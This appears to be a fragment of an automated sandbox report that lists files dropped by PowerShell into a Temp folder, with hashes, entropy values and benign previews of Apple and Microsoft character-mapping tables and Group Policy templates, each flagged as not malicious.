Preview:	#=======================================================================..# FTP file name: ICELAND.TXT..#..# Contents: Map (external version) from Mac OS Icelandic..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n06 1998-Feb-05 Minor update to header comments, add..# information on font variants..# n03 1997-Dec-14 Update to match internal utom<n4>, ufrm<n16>:..# Change standard mapping for 0xBD fro

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ROMAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14394
Entropy (8bit):	5.320990806840885
Encrypted:	false
SSDEEP:	192:5iQi8BsiHo/F876g2pSSwpEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzwUbc3jTpGN:VDsi88PSwpTWRRBb7e6vY9GcaO
MD5:	94A43862CB0159469484841D8370E552
SHA1:	45AFC896BB3EF65A7C77550244A52E7212DE89AD
SHA-256:	A58F56F7CF7767658CFF9FDFD1BA182CC74A513B3A2B6F34E44625FF811F53DD
SHA-512:	EB6454659FD8CB0A631875E27BBA01023EB3C75740379C2DEB514BC08577221A7914F2717F141134AEBC596CB4B34A523548A50F3448ABEDE2B87B4CCFCB93D5
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMAN.TXT..#..# Contents: Map (external version) from Mac OS Roman..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b4>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to..# EURO SIGN. Matches internal utom<b3>,..# ufrm<b3>...# n08 1998-Feb-05 Minor update to header comments..# n06 1997-Dec-14 Add warning about future changes to 0xDB..# from CURRENCY S

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\ROMANIAN.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	14763
Entropy (8bit):	5.310709655661504
Encrypted:	false
SSDEEP:	192:boRi8BsiHo/rUgyxUHwsEZGWRBnBb7ec56ZcjVNs0sDTZLzDvXYpfzTUbc3jTpGN:sRDsifxUHwsTWRRBb7e6vY9rhaO
MD5:	D39F6C0A8CFE6F118FFD105CF44DEA90
SHA1:	6C0AE83FD83E5B1AF2D288B149E0F7907DD378CC
SHA-256:	FF13110E8B448B033F464184A1A07B4CD32F0F0FEA203A4401C284073FFFAD66
SHA-512:	75A42575A542E95A9736DEAC09FE5480A52D514D9B09C2542A9BF7AF1DE104A3F83B29BF0C317B4D593D572BC1548728F2FB68115AB1506C5784528AE33710ED
Malicious:	false
Preview:	#=======================================================================..# FTP file name: ROMANIAN.TXT..#..# Contents: Map (external version) from Mac OS Romanian..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 8.5; change..# mapping of 0xDB from CURRENCY SIGN to EURO..# SIGN. Update contact e-mail address. Matches..# internal utom<b2>, ufrm<b2>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n16>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decompos

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\SYMBOL.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	15702
Entropy (8bit):	5.388449528342355
Encrypted:	false
SSDEEP:	384:UDsinsKkRUJXEe3fLMxtASwgzWgfL3SR14oLLQQU0Kp9b:UY/wufLiR9LLQQUjp9b
MD5:	46485E1A024ABC31E8B9D2B4CA9A3B39
SHA1:	57F5F3109969A8DD8E71E1E925DEE37F2B61C016
SHA-256:	C57C451D4A524159BF143573CD0568869C8EED814A999BFF7F3E560DABD39F1D
SHA-512:	FBAFF075B556B461BA6DD731EC52DFE9D3A2BE202995E8DA1D4794AEDB812652A198FFCDAA0052C95FA57F94EDB5D51342B1A38E10F62A7CA506C41B759195E3
Malicious:	false
Preview:	#=======================================================================..# FTP file name: SYMBOL.TXT..#..# Contents: Map (external version) from Mac OS Symbol..# character set to Unicode 2.1..#..# Copyright: (c) 1994-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b03 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b3>, ufrm<b3>, and Text..# Encoding Converter version 1.5...# b02 1998-Aug-18 Encoding changed for Mac OS 8.5; add new..# mapping from 0xA0 to EURO SIGN. Matches..# internal utom<b3>, ufrm<b3>...# n05 1998-Feb-05 Update to match internal utom<n5>, ufrm<n15>..# and Text Encoding Converter version 1.3:..# Use standard Unicodes plus transcoding hints.

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\TURKISH.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	12796
Entropy (8bit):	5.291769308017711
Encrypted:	false
SSDEEP:	192:y7gi8BsiHoGV1zjbweEZGWRBnBb7ec56ZcjVNs0sDTZLzGYpfzRzUUbc3jTpGNlw:WgDsiX1zjbweTWRRBb7e6vY9Gka3
MD5:	6BFAC3D4AB3AC941A0B2A29A56DE6F64
SHA1:	CDC38C3E0DE96C3F2B50448CF3DCF42D52E7E243
SHA-256:	9ECDE6F591CAED9C2CE4438884DA5F22E35FBDBB97E8D80B43129B23A6791891
SHA-512:	1E2645DF84C5392B09E85DAC63970BA49DEC9DEE63C06548F7717FBFCA2643646C1668202217EC836A663C4938FA45774D3C7A9A7254B926D75B0A32C90FD3EE
Malicious:	false
Preview:	#=======================================================================..# FTP file name: TURKISH.TXT..#..# Contents: Map (external version) from Mac OS Turkish..# character set to Unicode 2.1..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Update contact e-mail address. Matches..# internal utom<b1>, ufrm<b1>, and Text..# Encoding Converter version 1.5...# n05 1998-Feb-05 Minor update to header comments..# n03 1997-Dec-14 Update to match internal utom<n5>, ufrm<n15>:..# Change standard mapping for 0xBD from U+2126..# to its canonical decomposition, U+03A9...# n02 1995-Apr-15 First version (after fixing some typos)...# Matches internal ufrm<n4>...#..# St

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\Mac\UKRAINE.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4605
Entropy (8bit):	4.902825449710942
Encrypted:	false
SSDEEP:	96:OEyDE8TDyKJzAfa4evYBTY/qHoUbExiNU/qnTxFA:gD2i8BsiHobGHA
MD5:	96431211151B2E58C23262CCE683E033
SHA1:	FF90820BA88A249C4F8BB605D6F9D6CFCB896257
SHA-256:	98DD24A56E7D0E2BD2FC6A8BF429AA7BD3820B0D2D90456B972914639D2278ED
SHA-512:	28DCD7C9E41CD378F88A14DAFA5AE4CEC291206FEEA3BAE7A26C6F5681059CCBBF54A59C075A19F752E48658204C388B4495B707E7249F3622E827C24C83630B
Malicious:	false
Preview:	#=======================================================================..# FTP file name: UKRAINE.TXT..#..# Contents: Notes on Mac OS Ukrainian character set..#..# Copyright: (c) 1995-1999 by Apple Computer, Inc., all rights..# reserved...#..# Contact: charsets@apple.com..#..# Changes:..#..# b02 1999-Sep-22 Encoding changed for Mac OS 9.0 to merge..# with Mac OS Cyrillic and support EURO SIGN;..# change mappings for 0xFF. For Mac OS 9.0..# there is no longer a separate Mac OS..# Ukrainian character set; the mappings are..# in CYRILLIC.TXT. Update contact e-mail..# address. Matches internal utom<b1>, ufrm<b1>,..# and Text Encoding Converter version 1.5...# n04 1998-Feb-05 Update header comments to new format; no..#

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1250.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9799
Entropy (8bit):	4.843544571163451
Encrypted:	false
SSDEEP:	192:a0LuVb+Mu1eIqY/tJVLTjbew68i/+raRKUWKfThEYh4AIhvDHFzxn62hxSAWUMuA:aV3+qw7VLTjbewlKfn+Qx
MD5:	3C9476725FBFEEFFB9F549D995EE2815
SHA1:	8E2502EB4FC5137AE6E776D1F1804A3AFB6EAE31
SHA-256:	CF79BA755416AE5628A9DD1F870306B5A45FD6B256EFED0C2AC1CC2CCB3307F0
SHA-512:	FF35C0A6A878C303567D957C0E465CD9BCD0678C1BE3953B3438C686B4F739FB6F47A465465119B474D468D46B19397955E688FC2B92F71ABBEC276BE072F5C8
Malicious:	false
Preview:	#..# Name: cp1250 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1250 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1250 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9474
Entropy (8bit):	4.8642300755279395
Encrypted:	false
SSDEEP:	192:3BHVb+Mu1eIqY/tJVLTjbew6a7ifHYhgjVJa66Oz9L:3v3+qw7VLTjbew/3GMOd
MD5:	2926366654DBC6711EE71BA2589161C3
SHA1:	455E6E5E78D03349454CB1C6B0175E9BF2B943CE
SHA-256:	F87ED4480CFDDB8F5F6226292338CA407CCC7B1A543F3832F1D20AFF6CB72A58
SHA-512:	A9A69E32A16ECF7DE291E4FA00C6CB349048CEB2F4070406C16B050439A4C2420A7DA0F1FC9A0B76E21439B8DEABCDD2085C3C14411A6032226C74274DD1E49B
Malicious:	false
Preview:	#..# Name: cp1251 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1251 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1251 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1252.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9624
Entropy (8bit):	4.844898968819124
Encrypted:	false
SSDEEP:	192:YUsVb+Mu1eIqY/tJVLTjbew6SiNNzu6NSCYyhrt0K5n9dWGufxvH+Gv:Y93+qw7VLTjbewtUSLO+RV
MD5:	93FB108016F8A1E87E4129B21FE9984B
SHA1:	F6D6B1CAC29FDFFE774E5175CB60970BA373A656
SHA-256:	FCA3AB5882F0A562794F05D7F15A39157C59D7C07FCBAC79AB7CF3D12C979541
SHA-512:	E0679DDB288423557170C09BF6848D6D8D74F9E70BD751131DB7BD248446606DB856A86AF7AC8E3500B2950261DE199A5EDE444D8BF451EE1CCC6CC854151342
Malicious:	false
Preview:	#..# Name: cp1252 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1252 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1252 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1253.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9207
Entropy (8bit):	4.894527598941472
Encrypted:	false
SSDEEP:	192:Nz9Vb+Mu1eIqY/tJVLTjbew6Si/0eTmVvZOzdTWb7D:Nr3+qw7VLTjbewGsB
MD5:	6B77BAAC03038B028948D2A667EFDAA1
SHA1:	6AFBC63AB3A2B0BF10CBE802F7633DA3E3198417
SHA-256:	2D36BEC3E1ECBF2B6DE8A37C98717AE21CA8C5BC0B487556996B3FFF2B6F6FD9
SHA-512:	D7541266B100AC879BE8139108344121B10390350B93D26C6F5C5279C18503D7B6829332281A892369DE4D578090987D1310201262C181ADDBC3B9D9495BD209
Malicious:	false
Preview:	#..# Name: cp1253 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1253 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1253 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1254.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9615
Entropy (8bit):	4.848162639665052
Encrypted:	false
SSDEEP:	192:uWKVb+Mu1eIqY/tJVLTjbew6SiNAH6NSCYyhrUJ0KXdWG0xvfxvHZ:ul3+qw7VLTjbewfUSL5y/D
MD5:	65D7C9205E1A1393B8530670ADD4E596
SHA1:	535CADA91E5FBA038E0FD9F2214F91A83C3BE45D
SHA-256:	32FA83C6F8AD346E66E544640942906E0A91CC0D2075324B7F244695DE5740A5
SHA-512:	95798F9E068A82380BDBDF649A2DD2F7CC72206444DE0A7B9AB2DE2CBD9938DC0856F2A0FAEB29BCC965900448DFB0E7DDDEF0CC8E1C5711896F1B82D40A3CA1
Malicious:	false
Preview:	#..# Name: cp1254 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1254 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1254 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1257.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9487
Entropy (8bit):	4.86319654192735
Encrypted:	false
SSDEEP:	192:BPJVb+Mu1eIqY/tJVLTjbew68i/vgIey4tvPhSiY+21KBrNbxlv0:BT3+qw7VLTjbew9Wo77A
MD5:	002134C7EA7F619246BBF445CAAD9F08
SHA1:	DEF97351B77EBF6210B6BFB69B8BC3A4F9A64C36
SHA-256:	7CB16A0B949F8573B06F22F091C44A1EA251CC9904591FCEB2743475302C4640
SHA-512:	95E4620258B0189B993BB56F2219F73D84145BD8E5B45F9AD70899D8DA0E742BB3EAD8697E5335E4DE895BED925F6212D96F813B0CE9383AE42A967CCA2730CA
Malicious:	false
Preview:	#..# Name: cp1257 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1257 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1257 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\TypeSupport\Unicode\Mappings\win\CP1258.TXT

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	9477
Entropy (8bit):	4.8619811680211615
Encrypted:	false
SSDEEP:	192:Sy2Vb+Mu1eIqY/tJVLTjbew6SiNne6NSCYh3hDDEYx1W/nxKHK:S13+qw7VLTjbew/USLkfz
MD5:	88E9B5216B90D0332BD2CD4FCEE88A22
SHA1:	748EC8B8B4427F3B48B23B3B224C1CFFEA2DD169
SHA-256:	F53D0FFB7F3C8182794331CFDD2FBCF77FF6DBDB05B415C98CC8D6FC49DCE2FB
SHA-512:	9D5D6E0CF41E9054D3C9253CEC0A482DD97E412794523E352C06D39666931B1D8291FEF1C5BBEF629EB7C1BB53D866FE2EB925CB314026BF027EAABB1208F0BB
Malicious:	false
Preview:	#..# Name: cp1258 to Unicode table..# Unicode version: 2.0..# Table version: 2.01..# Table format: Format A..# Date: 04/15/98..#..# Contact: cpxlate@microsoft.com..#..# General notes: none..#..# Format: Three tab-separated columns..# Column #1 is the cp1258 code (in hex)..# Column #2 is the Unicode (in hex as 0xXXXX)..# Column #3 is the Unicode name (follows a comment sign, '#')..#..# The entries are in cp1258 order..#..0x00.0x0000.#NULL..0x01.0x0001.#START OF HEADING..0x02.0x0002.#START OF TEXT..0x03.0x0003.#END OF TEXT..0x04.0x0004.#END OF TRANSMISSION..0x05.0x0005.#ENQUIRY..0x06.0x0006.#ACKNOWLEDGE..0x07.0x0007.#BELL..0x08.0x0008.#BACKSPACE..0x09.0x0009.#HORIZONTAL TABULATION..0x0A.0x000A.#LINE FEED..0x0B.0x000B.#VERTICAL TABULATION..0x0C.0x000C.#FORM FEED..0x0D.0x000D.#CARRIAGE RETURN..0x0E.0x000E.#SHIFT OUT..0x0F.0x000F.#SHIFT IN..0x10.0x0010.#DATA LINK ESCAPE..0x11.0x0011.#DEVICE CONTROL ONE..0x12.0x0012.#DEVICE

C:\Users\user\AppData\Local\Temp\file\Resource\UserProfiles.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20787
Entropy (8bit):	4.883986206781363
Encrypted:	false
SSDEEP:	384:tV6kzgJGj0plCLLdCrqE0lHzP5ySGoNj8rWSexES3Yt3RpKs5GhuTozj6zRJ5yjN:FxkCkOTc3e43eaSoFjKuGpzAX5GGC
MD5:	7810DB16193354ED211A8B4F37DBC253
SHA1:	49C4428EAB13696D9CF5E55CFC5F8BA9AD44022C
SHA-256:	0A2A59A099F8D9BD85A4B0DFAD4DE24B065B75831EA44C788A636D56A38D3140
SHA-512:	BC13F9AD2A9F86BFDD936793083CD965067C634446B614DFBD6F19317EB78559555B2F03E898D0811E1B9CFDC02BE0B911389D7E5B358604A14495D95E6F939E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="userprofiles" namespace="Microsoft.Policies.UserProfiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="UserProfiles" displayName="$(string.UserProfiles)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="AddAdminGroupToRUP" class="Machine" displayName="$(string.AddAdminGroupToRUP)" explainText="$(string.AddAdminGroupToRUP_Help)" key="Software\Policies\Microsoft\Windows\System" valueName="AddAdminGroupToRUP">.. <parentCategory ref="UserP

C:\Users\user\AppData\Local\Temp\file\Resource\VolumeEncryption.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (344), with CRLF line terminators
Category:	dropped
Size (bytes):	68191
Entropy (8bit):	4.670154947376811
Encrypted:	false
SSDEEP:	1536:kAArg6xjsLJAqOYHmW3EsAMrM+6I6Q6wLe8sHJS3WXZkKuogpyspRjMRyf8E2mII:t
MD5:	B8175493A3CB8B98E684EE12187FC95E
SHA1:	3692021A5A6315C1341CE35F79AA83FCF12DE83A
SHA-256:	9C6CD0192F9A0548F287C5126A9E14254680762883F3379AD3B3DAE0BE9F2F20
SHA-512:	C8D82F20E51A1A32905CBCC29676E884FB6C8C8B8EBA467C939277696C2A3657A9888FEB7A966B83786A5167CD9649F0C478206DFC39D9F495ECB36141543AB3
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="volumeencryption" namespace="Microsoft.Policies.VolumeEncryption" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <supportedOn> .. <definitions>.. We must make our own definition for Windows 8 without ARM --> .. <definition name="SUPPORTED_Windows8NoARM" displayName="$(string.SUPPORTED_Windows8NoARM)" /> .. </definitions>.. </supportedOn>.. <categories>.. <category name="FVECategory" displayName="$(string.FVECategory)">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\W32Time.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (321), with CRLF line terminators
Category:	dropped
Size (bytes):	6409
Entropy (8bit):	5.302899712572134
Encrypted:	false
SSDEEP:	192:vYF7mWaojHQYVa6XWNrqbrDUg2mqmN6alC9OYj8G2TaVMifqsDwHK:TWaojHQYVa6XWNrqbrDUg2mqmN6alC99
MD5:	7ECDBA364A8093EE02E7CB165EFD27DD
SHA1:	7958BA94874CF4CEE99AD4C20F2D6606724F234B
SHA-256:	745051305576733D977947CC7C8A4C84572C52F74C299251076D3DB7E43070B0
SHA-512:	DE1A7D790F853E9838C64B976885623F4A2EB2DC948B6B83FD9D684C04FFCF2369D45AFA9B2AD33EF024DBC2AFBCFCEA4E5E6EB2E33D6CD4B10ADE06695208C8
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="w32time" namespace="Microsoft.Policies.WindowsTimeService" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="W32TIME_ROOT" displayName="$(string.W32TIME_ROOT)">.. <parentCategory ref="windows:System" />.. </category>.. <category name="W32TIME_TIMEPROVIDERS" displayName="$(string.W32TIME_TIMEPROVIDERS)">.. <parentCategory ref="W32TIME_ROOT" />.. </category>.. </categories>.. <policies>.. <policy name="W32TIME_POLICY_CONFIG" class="Machine" displayName="$(string.W32TIME_POLICY_CONFIG)" ex

C:\Users\user\AppData\Local\Temp\file\Resource\WCM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	2877
Entropy (8bit):	5.154289296119633
Encrypted:	false
SSDEEP:	48:3geDw08gmDovfmofHKnKsp503NvzG8vGdUg/vzGaMxvGde4KnyvzGEvGdWRvzG6V:QeD/mDov+ovKnK856vqRdUsvqaMgdRvz
MD5:	880DA0D4CF2D870EBB7FA0ACAEEC4498
SHA1:	6E28DB0D1A3BD7A17AAD438A76BB9F2D3E52736C
SHA-256:	A0DC3469A44A6B36022EF1636AE7790FBD841682937F88BA1371BF7DD93EA7D6
SHA-512:	E67E8DFBED3C3D389EBABD6D1023E36EFC247C316320C0EB17506ABB75059BE709B0EFC1B520F8C224317B804DC565FC1CC550E3C175B4B61B1EDBFBD43A3559
Malicious:	false
